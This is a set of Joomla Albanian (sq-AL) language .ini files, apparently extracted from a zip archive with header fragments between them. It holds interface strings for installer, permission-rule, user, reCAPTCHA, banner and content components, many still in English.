JLIB_INSTALLER_UNINSTALL="Çinstalo" JLIB_INSTALLER_UPDATE="Update" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="Invalid client identifier specified in extension manifest." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Attempting to uninstall unknown extension from package. This extension may have already been removed earlier." JLIB_MAIL_FUNCTION_DISABLED="Funksioni i postës () asht çaktivizue dhe posta s'mund të niset." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail: : Invalid email Sender: %s, JMail: :setSender(%s)" JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Error loading Plugins: %s" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="Unable to load format class" JLIB_RULES_ACTION="Action" JLIB_RULES_ALLOWED="Allowed" JLIB_RULES_ALLOWED_ADMIN="Allowed (Super Admin)" JLIB_RULES_CALCULATED_SETTING="Calculated Setting 2" JLIB_RULES_CONFLICT="Conflict" JLIB_RULES_DENIED="Denied" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Groups" JLIB_RULES_INHERIT="Inherit" JLIB_RULES_INHERITED="Inherited" JLIB_RULES_NOT_ALLOWED="Not Allowed" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Conflict" JLIB_RULES_NOT_ALLOWED_LOCKED="Not Allowed (Locked)" JLIB_RULES_NOT_SET="S'asht vu" JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Allow or deny %s for users in the %s group" JLIB_RULES_SELECT_SETTING="Select New Setting 1" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this and all child groups, components and content. Note that Denied will overrule any inherited setting, and also the setting in any child group, component or content. In the case of a setting conflict, Deny will take precedence. Not Set is equivalent to Denied but can be changed in child groups, components and content.
      2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this item. Note that:
      Inherited means that the permissions from global configuration, parent group and category will be used.
      Denied means that no matter what the global configuration, parent group or category settings are, the group being edited cannot take this action on this item.
      Allowed means that the group being edited will be able to take this action for this item (but if this is in conflict with the global configuration, parent group or category it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTINGS_DESC="Manage the permission settings for the user groups below. See notes at the bottom." JLIB_UNKNOWN="I panjohun" JLIB_UPDATER_ERROR_COLLECTION_FOPEN="The PHP allow_url_fopen setting is disabled. This setting must be enabled for the updater to work." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Update: :Collection: Could not open %s" JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Update: :Extension: Could not open %s" JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication: :authenticate: Failed to load plugin: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication: :__construct: Could not load authentication libraries." JLIB_USER_ERROR_BIND_ARRAY="Unable to bind array to user object" JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="You cannot remove your own Super Admin permissions." JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: User %s does not exist" JLIB_USER_ERROR_NOT_SUPERADMIN="Only users with Super Admin permissions can change other Super Admin user accounts." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="Passwords do not match. Please re-enter password." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="Unable to find a user with given activation string" JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Unable to load user with ID: %s" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="User Group does not exist" JLIB_UTIL_ERROR_APP_INSTANTIATION="Application Instantiation Error" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: Could not connect to database
      joomla.library: %1$s - %2$s" JLIB_UTIL_ERROR_DOMIT="DommitDocument is deprecated. Use DomDocument instead" JLIB_UTIL_ERROR_LOADING_FEED_DATA="Error loading feed data" JLIB_UTIL_ERROR_XML_LOAD="Failed loading XML file" PK@y>\}^H(language/sq-AL/sq-AL.mod_submenu.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="Ky modul tregon modulin e lundrimit të nënmenusë" MOD_SUBMENU_LAYOUT_DEFAULT="Normalja" PK@y>\ LL*language/sq-AL/sq-AL.com_templates.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Ftyrat" COM_TEMPLATES_XML_DESCRIPTION="This component manages templates" PK@y>\zF .language/sq-AL/sq-AL.plg_system_logout.sys.ininuW+A; Joomla1 sq-AL ; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="The system logout plug-in enables Joomla to redirect the user to the home page if he chooses to logout while he is on a protected access page." PLG_SYSTEM_LOGOUT="System - Logout" PK@y>\JOO&language/sq-AL/sq-AL.com_login.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Hymje" COM_LOGIN_XML_DESCRIPTION="This component lets users login to the site." PK@y>\tm3language/sq-AL/sq-AL.plg_content_emailcloak.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Content - Email Cloaking" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Cloaks all emails in content from spambots using JavaScript"PK@y>\Ĺ.language/sq-AL/sq-AL.plg_captcha_recaptcha.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Ky plugin CAPTCHA përdor shërbimin reCAPTCHA me pengue spamuesit ndërkohë që ndihmon me dixhitalizue libra, gazeta dhe emisione të vjetra radioje. Me marrë nji çelës publik dhe privat për faqen tande, shko tek http://google.com/recaptcha. Me e përdorë këte për regjistrim llogarie të re, shko tek Opsionet në Menaxherin e Përdoruesve dhe zgjidh Captcha – reCaptcha si Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" ; Params PLG_RECAPTCHA_PUBLIC_KEY_LABEL="Çelësi publik" PLG_RECAPTCHA_PUBLIC_KEY_DESC="Përdorë në kodin JavaScript që i shërbehet përdoruesve tuej. Shih përshkrimin e pluginit për udhëzime se si me marrë nji çelës publik." PLG_RECAPTCHA_PRIVATE_KEY_LABEL="Çelësi privat" PLG_RECAPTCHA_PRIVATE_KEY_DESC="Përdorë në komunikimin mes serverit tand dhe serverit ReCaptha. Sigurohu ta mbash sekret. Shih përshkrimin e pluginit për udhëzimet se si me marrë nji çelës privat." PLG_RECAPTCHA_THEME_LABEL="Tema" PLG_RECAPTCHA_THEME_DESC="Përkufizon se cilën temë me përdorë për reCAPTCHA." PLG_RECAPTCHA_THEME_RED="E kuqe" PLG_RECAPTCHA_THEME_WHITE="E bardhë" PLG_RECAPTCHA_THEME_BLACKGLASS="BlackGlass" PLG_RECAPTCHA_THEME_CLEAN="E pastër" PLG_RECAPTCHA_LANG_LABEL="Gjuha" PLG_RECAPTCHA_LANG_DESC="Zgjidh gjuhën për reCAPTCHA. Nëse zgjidhet normalja dhe dokumenti i gjuhës ka përkthim të veçantë, ka me u përdorë ai." ; Mesazhet e gabimit PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY="Plugini ReCaptcha kërkon nji çelës privat me u futë në parametrat e tij. Ju lutem kontaktoni administratorin e faqes." PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY="Plugini ReCaptcha kërkon nji çelës publik me u futë në parametrat e tij. Ju lutem kontaktoni administratorin e faqes." PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION="Zgjidhja bosh nuk lejohet." PLG_RECAPTCHA_ERROR_NO_IP="Për arsye sigurie, duhet ta kalosh IP-në larg në reCAPTCHA" PLG_RECAPTCHA_ERROR_UNKNOWN="Gabim i panjohun." PLG_RECAPTCHA_ERROR_INVALID_SITE_PUBLIC_KEY="S'ishim në gjendje me verifikue çelësin publik." PLG_RECAPTCHA_ERROR_INVALID_SITE_PRIVATE_KEY="S'ishim në gjendje me verifikue çelësin privat." PLG_RECAPTCHA_ERROR_INVALID_REQUEST_COOKIE="Parametri i sfidës i skriptit të verifikimit ishte i pasaktë." PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL="Zgjidhja CAPTCHA ishte e pasaktë." PLG_RECAPTCHA_ERROR_VERIFY_PARAMS_INCORRECT="Parametrat e verifikimit ishin të pasaktë, sigurohu që po i kalon krejt parametrat e kërkuem." PLG_RECAPTCHA_ERROR_INVALID_REFERRER="Çelësat API reCAPTCHA janë të lidhun me nji emën të veçantë faqeje për arsye sigurie." PLG_RECAPTCHA_ERROR_RECAPTCHA_NOT_REACHABLE="Unable to contact the reCAPTCHA verify server." ; Uncomment(remove the ";" from the beginning of the line) the following lines if reCAPTCHA is not available in your language ; When uncommenting, do NOT translate PLG_RECAPTCHA_CUSTOM_LANG ; As of 01/01/2012, the following languages do not need translation: en, nl, fr, de, pt, ru, es, tr PLG_RECAPTCHA_CUSTOM_LANG="true" PLG_RECAPTCHA_INSTRUCTIONS_VISUAL="Shtypi dy fjalët:" PLG_RECAPTCHA_INSTRUCTIONS_AUDIO="Shtyp çka dëgjon:" PLG_RECAPTCHA_PLAY_AGAIN="Lëshoje zanin prap" PLG_RECAPTCHA_CANT_HEAR_THIS="Shkarkoje zanin në format MP3" PLG_RECAPTCHA_VISUAL_CHALLENGE="Nxirr sfidën pamore" PLG_RECAPTCHA_AUDIO_CHALLENGE="Nxirr sfidën zanore" PLG_RECAPTCHA_REFRESH_BTN="Nxirr sfidë të re" PLG_RECAPTCHA_HELP_BTN="Ndihmë" PLG_RECAPTCHA_INCORRECT_TRY_AGAIN="E pasaktë. Përpiqu prap." PK@y>\b"(language/sq-AL/sq-AL.mod_version.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_LAYOUT_DEFAULT="Normalja" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version." PK@y>\X<$language/sq-AL/sq-AL.mod_version.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_FORMAT_DESC="The long version includes code name and date" MOD_VERSION_FORMAT_LABEL="Version format" MOD_VERSION_FORMAT_LONG="Long" MOD_VERSION_FORMAT_SHORT="Short" MOD_VERSION_PRODUCT_DESC="Include Joomla! name when using short format" MOD_VERSION_PRODUCT_LABEL="Show Joomla!" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version."PK@y>\Td'language/sq-AL/sq-AL.plg_system_sef.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Shton mbështetje SEF për nyjet në dokument. Vepron drejtpërdrejt në HTML dhe nuk kërkon tag të veçantë." PLG_SYSTEM_SEF="System - SEF"PK@y>\%language/sq-AL/sq-AL.mod_feed.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Pasqyra Feed" MOD_FEED_XML_DESCRIPTION="This module allows the displaying of a syndicated feed" MOD_FEED_LAYOUT_DEFAULT="Normalja" PK@y>\(language/sq-AL/sq-AL.com_content.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Artikujt" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC="Display all archived articles." COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION="Normalja" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE="Artikujt e arkivuem" COM_CONTENT_ARTICLE_MANAGER="Artikujt" COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC="Display a single article." COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION="Normalja" COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE="Single Article" COM_CONTENT_ARTICLES="Artikujt" COM_CONTENT_CATEGORIES="Kategoritë" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of all the article categories within a category." COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION="Normalja" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE="List All Categories" COM_CONTENT_CATEGORY_ADD_TITLE="Category Manager: Add A New Articles Category" COM_CONTENT_CATEGORY_EDIT_TITLE="Category Manager: Edit An Articles Category" COM_CONTENT_CATEGORY_VIEW_BLOG_DESC="Displays article introductions in a single or multi-column layout." COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION="Blogu" COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE="Blog kategorie" COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC="Displays a list of articles in a category." COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION="List" COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE="Listë kategorie" COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC="Show all featured articles from one or multiple categories in a single or multi-column layout." COM_CONTENT_CATEGORY_VIEW_FEATURED_OPTION="Normalja" COM_CONTENT_CATEGORY_VIEW_FEATURED_TITLE="Featured Articles Single Category" COM_CONTENT_FEATURED="Featured" COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC="Displays article introductions in a single or multi-column layout for featured articles from all categories. " COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION="Normalja" COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE="Featured Articles" COM_CONTENT_FORM_VIEW_DEFAULT_DESC="Create a new article" COM_CONTENT_FORM_VIEW_DEFAULT_OPTION="Krijo" COM_CONTENT_FORM_VIEW_DEFAULT_TITLE="Create Article" COM_CONTENT_XML_DESCRIPTION="Article management component" PK@y>\)language/sq-AL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\%0language/sq-AL/sq-AL.plg_system_redirect.sys.ininuW+A; Joomla1 sq-AL ; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="The system redirect plug-in enables the Joomla Redirect system to catch missing pages and redirect users." PLG_SYSTEM_REDIRECT="System - Redirect" PK@y>\[[[$language/sq-AL/sq-AL.com_checkin.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Regjistrimi" COM_CHECKIN_CONFIGURATION="Konfigurimi i regjistrimit" COM_CHECKIN_DATABASE_TABLE="Tabela e databazës" COM_CHECKIN_FILTER_SEARCH_DESC="Kërko tabelën" COM_CHECKIN_GLOBAL_CHECK_IN="Mirëmbajtje: Regjistrimi global" COM_CHECKIN_ITEMS_TO_CHECK_IN="Sendet me regjistrue" COM_CHECKIN_N_ITEMS_CHECKED_IN_0="S'ka sende të regjistrueme" COM_CHECKIN_N_ITEMS_CHECKED_IN_1="1 send u regjistrue" COM_CHECKIN_N_ITEMS_CHECKED_IN_MORE="%s sende u regjistruen" COM_CHECKIN_TABLE="%s tabela" COM_CHECKIN_XML_DESCRIPTION="Komponenti i regjistrimit" JLIB_RULES_SETTING_NOTES="1. Nëse ndrron të dhanat, kjo ka me u zbatue mbi këte komponent. Ven re që:
      Trashëgue do me thanë që do të përdoren lejet nga konfigurimi global dhe grupi prind .
      Mohue domethanë që pavarësisht të dhanave të konfigurimit global apo të grupit prind, grupi që po ndryshohet s'mund ta ndërmarrë këte veprim mbi këte komponent.
      Lejue domethanë që grupi që po ndryshohet ka me qenë në gjendje me e marrë këte veprim për këte komponent (por nëse kjo asht në konflikt me konfigurimin global apo grupin prind, nuk ka me pasë ndikim; konflikti ka me u tregue nga S'lejohet (Kyçë) tek të Dhanat e llogarituna).
      2. Nëse zgjedh të dhana të reja, shtyp Ruej me rifreskue të dhanat e llogarituna." PK@y>\5Z4language/sq-AL/sq-AL.plg_editors-xtd_article.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_XML_DESCRIPTION="Nxjerr nji buton me mundësue futjen e pamjeve në nji artikull. Nxjerr nji dritare të vogël që të lejon me zgjedhë artikullin" PLG_EDITORS-XTD_ARTICLE="Buton - Artikulli" PK@y>\hU22$language/sq-AL/sq-AL.com_banners.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Banerat" COM_BANNERS_BANNER_DETAILS="Hollësinat" COM_BANNERS_BANNER_SAVE_SUCCESS="Baneri u ruejt" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED="%d banera u arkivuen" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED_1="%d banner u arkivuen" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_0="S'u regjistruen banera" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_1="%d s'u regjistrue baner" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_MORE="%d banera u regjistruen" COM_BANNERS_BANNERS_N_ITEMS_DELETED="%d banera u fshinë" COM_BANNERS_BANNERS_N_ITEMS_DELETED_1="%d baneri u fshi" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED="%d banera u botuen" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED_1="%d banera u botuen" COM_BANNERS_BANNERS_N_ITEMS_TRASHED="%d banera u hodhën" COM_BANNERS_BANNERS_N_ITEMS_TRASHED_1="%d banner u hodhën" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED="%d banera u hoqën nga botimi" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED_1="%d baneri u hoq nga botimi" COM_BANNERS_BANNERS_NO_ITEM_SELECTED="S'u përzgjodh ndonji baner" COM_BANNERS_BATCH_CLIENT_LABEL="Cakto klientin" COM_BANNERS_BATCH_CLIENT_LABEL_DESC="Mospërzgjedhja do të ruejë klientin origjinal gjatë procesimit." COM_BANNERS_BATCH_CLIENT_NOCHANGE="- Mbaj klientin origjinal -" COM_BANNERS_BATCH_OPTIONS="Procesoji krejt banerat e përzgjedhun" COM_BANNERS_BATCH_TIP="Nëse zgjedh me kopjue nji baner, çdo veprim tjetër i përzgjedhun ka me u zbatue mbi banerin e kopjuem. Përndryshe, gjithë veprimet zbatohen mbi banerin e përzgjedhun." COM_BANNERS_BEGIN_LABEL="data e fillimit:" COM_BANNERS_CANCEL="Zhban" COM_BANNERS_CLICK="Prek" COM_BANNERS_CLIENT_SAVE_SUCCESS="Klienti u ruejt" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED="%d klientat u arkivuen" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED_1="%d klienti u arkivue" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_0="S'u regjistrue ndonji klient" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_1="%d klienti u regjistrue" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_MORE="%d klientë u regjistruen" COM_BANNERS_CLIENTS_N_ITEMS_DELETED="%d klientë u fshinë" COM_BANNERS_CLIENTS_N_ITEMS_DELETED_1="%d klient u fshi" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED="%d klientë u botuen" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED_1="%d klienti u botue" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED="%d klientë u hodhën" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED_1="%d klienti u hodh" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED="%d klientë u hoqën nga botimi" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED_1="%d klienti u hoq nga botimi" COM_BANNERS_CLIENTS_NO_ITEM_SELECTED="S'u përzgjodh ndonji klient" COM_BANNERS_CONFIGURATION="Opsionet e menaxherit të banerave" COM_BANNERS_DEFAULT="Normal (%s)" COM_BANNERS_DELETE_MSG="A je i sigurt don me i fshi krejt këto gjurmë?" COM_BANNERS_EDIT_BANNER="Ndrysho banerin" COM_BANNERS_EDIT_CLIENT="Hollësinat" COM_BANNERS_END_LABEL="Data e përfundimit:" COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE="Dështim i përshtatësit Zip" COM_BANNERS_ERR_ZIP_CREATE_FAILURE="Dështim i krijimit Zip" COM_BANNERS_ERR_ZIP_DELETE_FAILURE="Dështim i fshimjes Zip" COM_BANNERS_ERROR_UNIQUE_ALIAS="Nji baner tjetër nga kjo kategori ka të njejtin alias" COM_BANNERS_EXTRA="Informacion shtesë" COM_BANNERS_FIELD_ALIAS_DESC="Aliasi asht vetëm për përdorim të brendshëm. Lene bosh dhe Joomla ka me futë vlerën normale nga titulli. Duhet me qenë unik për secilin baner në të njejtën kategori." COM_BANNERS_FIELD_ALT_DESC="Teksti alternativ për pamjen e banerit." COM_BANNERS_FIELD_ALT_LABEL="Teksti alternativ" COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC="Përdor prefiksin e vet ose prefiksin e klientit" COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL="Përdor prefiksin e vet" COM_BANNERS_FIELD_BASENAME_DESC="Emni i modelit të dokumentit që mund të përmbajë
      __SITE__ për emnin e faqes
      __CATID__ për ID-në e kategorisë
      __CATNAME__ për emnin e kategorisë
      __CLIENTID__ për ID-në e klientit
      __CLIENTNAME__ për emnin e klientit
      __TYPE__ për llojin
      __TYPENAME__ për emnin e llojit
      __BEGIN__ për datën e fillimit
      __END__ për datën e përfundimit" COM_BANNERS_FIELD_BASENAME_LABEL="Emni i dokumentit" COM_BANNERS_FIELD_CATEGORY_DESC="Zgjidh nji kategori për këte baner" COM_BANNERS_FIELD_CLICKS_DESC="Tregon numrin e prekjeve mbi baner. Shtyp me rivendosë nëse don." COM_BANNERS_FIELD_CLICKS_LABEL="Krejt prekjet" COM_BANNERS_FIELD_CLICKURL_DESC="URL-ja e përdorun kur shtypet mbi baner." COM_BANNERS_FIELD_CLICKURL_LABEL="Shtyp nyjen" COM_BANNERS_FIELD_CLIENT_DESC="Zgjidh nji klient për këte baner" COM_BANNERS_FIELD_CLIENT_LABEL="Klienti" COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC="Kur fjalkyçet përputhen, kërko vetëm për fjalkyçe meta me këte prefiks (përmirëson performancën)." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL="Prefiksi i fjalkyçeve meta" COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC="Fut këtu fjalkyçet meta për banerat e klientëve" COM_BANNERS_FIELD_CLIENT_NAME_DESC="Fut nji emën për klientin" COM_BANNERS_FIELD_CLIENT_NAME_LABEL="Emni i klientit" COM_BANNERS_FIELD_CLIENT_STATE_DESC="Përkufizon statusin e klientit" COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC="Përdor prefiksin e vet ose prefiksin e komponentit" COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL="Përdor prefiksin e vet" COM_BANNERS_FIELD_COMPRESSED_DESC="Opsion me kompresue dokumentin për eksport" COM_BANNERS_FIELD_COMPRESSED_LABEL="Kompresue" COM_BANNERS_FIELD_CONTACT_DESC="Fut emnin e nji përdoruesi si kontakt" COM_BANNERS_FIELD_CONTACT_LABEL="Emni i lidhjes" COM_BANNERS_FIELD_CREATED_DESC="Data e krijimit të banerit" COM_BANNERS_FIELD_CREATED_LABEL="Data e krijimit" COM_BANNERS_FIELD_CUSTOMCODE_DESC="Fut kodin e veçantë për banerin" COM_BANNERS_FIELD_CUSTOMCODE_LABEL="Kodi i veçantë" COM_BANNERS_FIELD_DESCRIPTION_DESC="Fut nji përshkrim për banerin" COM_BANNERS_FIELD_EMAIL_DESC="Fut nji email të vlefshëm" COM_BANNERS_FIELD_EMAIL_LABEL="Emaili i kontaktit" COM_BANNERS_FIELD_EXTRAINFO_DESC="Fut info shtesë për këte klient." COM_BANNERS_FIELD_EXTRAINFO_LABEL="Info shtesë" COM_BANNERS_FIELD_HEIGHT_DESC="Naltësia e banerit" COM_BANNERS_FIELD_HEIGHT_LABEL="Naltësia" COM_BANNERS_FIELD_IMAGE_DESC="Zgjidh nji pamje për këte baner. Pamjet duhet me qenë në direktorinë /images/banners/." COM_BANNERS_FIELD_IMAGE_LABEL="Pamja" COM_BANNERS_FIELD_IMPMADE_DESC="Tregon numrin e përshtypjeve të bame për banerin." COM_BANNERS_FIELD_IMPMADE_LABEL="Përshtypjet totale" COM_BANNERS_FIELD_IMPTOTAL_DESC="Kufini total i përshtypje të përkufizueme për banerin." COM_BANNERS_FIELD_IMPTOTAL_LABEL="Maks. përshtypjeve" COM_BANNERS_FIELD_LANGUAGE_DESC="Caktoja nji gjuhë këtij baneri" COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC="Kur fjalkyçet meta përputhen, kërko vetëm për ato me këte prefiks (përmirëson performancën)." COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL="Prefiksi i fjalkyçeve meta" COM_BANNERS_FIELD_METAKEYWORDS_DESC="Fut këtu fjalkyçet meta për banerin" COM_BANNERS_FIELD_NAME_DESC="Veni nji emën banerit" COM_BANNERS_FIELD_NAME_LABEL="Emni" COM_BANNERS_FIELD_PUBLISH_DOWN_DESC="Datë opsionale me përfundue botimin e banerit." COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL="Përfundo botimin" COM_BANNERS_FIELD_PUBLISH_UP_DESC="Datë opsionale për me fillue botimin e banerit." COM_BANNERS_FIELD_PUBLISH_UP_LABEL="Fillo botimin" COM_BANNERS_FIELD_PURCHASETYPE_DESC="Zgjidh llojin e blemjes në listë." COM_BANNERS_FIELD_PURCHASETYPE_LABEL="Lloji i blemjes" COM_BANNERS_FIELD_STATE_DESC="Përkufizon gjendjen e banerit" COM_BANNERS_FIELD_STICKY_DESC="A me e ba 'ngjitës' banerin. Nëse nji a ma shum banera në nji kategori janë ngjitës, ata kanë me marrë përparësi mbi banerat e tjerë. Për shembull, nëse dy banera në nji kategori janë ngjitës dhe nji i tretë nuk asht, baneri i tretë nuk ka me u shfaqë nëse t'dhanat e modulit janë 'ngjitës, rastësore'. Vetëm dy banerat ngjitës kanë me u shfaqë." COM_BANNERS_FIELD_STICKY_LABEL="Ngjitës" COM_BANNERS_FIELD_TRACKCLICK_DESC="Regjistro numrin e shtypjeve mbi banera në bazë ditore." COM_BANNERS_FIELD_TRACKCLICK_LABEL="Gjurmo klikimet" COM_BANNERS_FIELD_TRACKIMPRESSION_DESC="Regjistroji përshtypjet (shikimet) e banerave në bazë ditore." COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL="Gjurmo përshtypjet" COM_BANNERS_FIELD_TYPE_DESC="Zgjidh llojin e banerit. Zgjidh pamjen me shfaqë nji pamje nga direktoria /images/banners/. Zgjidh veçantinë me futë kodin tand." COM_BANNERS_FIELD_TYPE_LABEL="Lloji" COM_BANNERS_FIELD_VALUE_1="Pa kufi" COM_BANNERS_FIELD_VALUE_2="Vjetore" COM_BANNERS_FIELD_VALUE_3="Mujore" COM_BANNERS_FIELD_VALUE_4="Javore" COM_BANNERS_FIELD_VALUE_5="Ditore" COM_BANNERS_FIELD_VALUE_CUSTOM="E veçantë" COM_BANNERS_FIELD_VALUE_IMAGE="Pamja" COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT="-- Përdor normalen e klientit --" 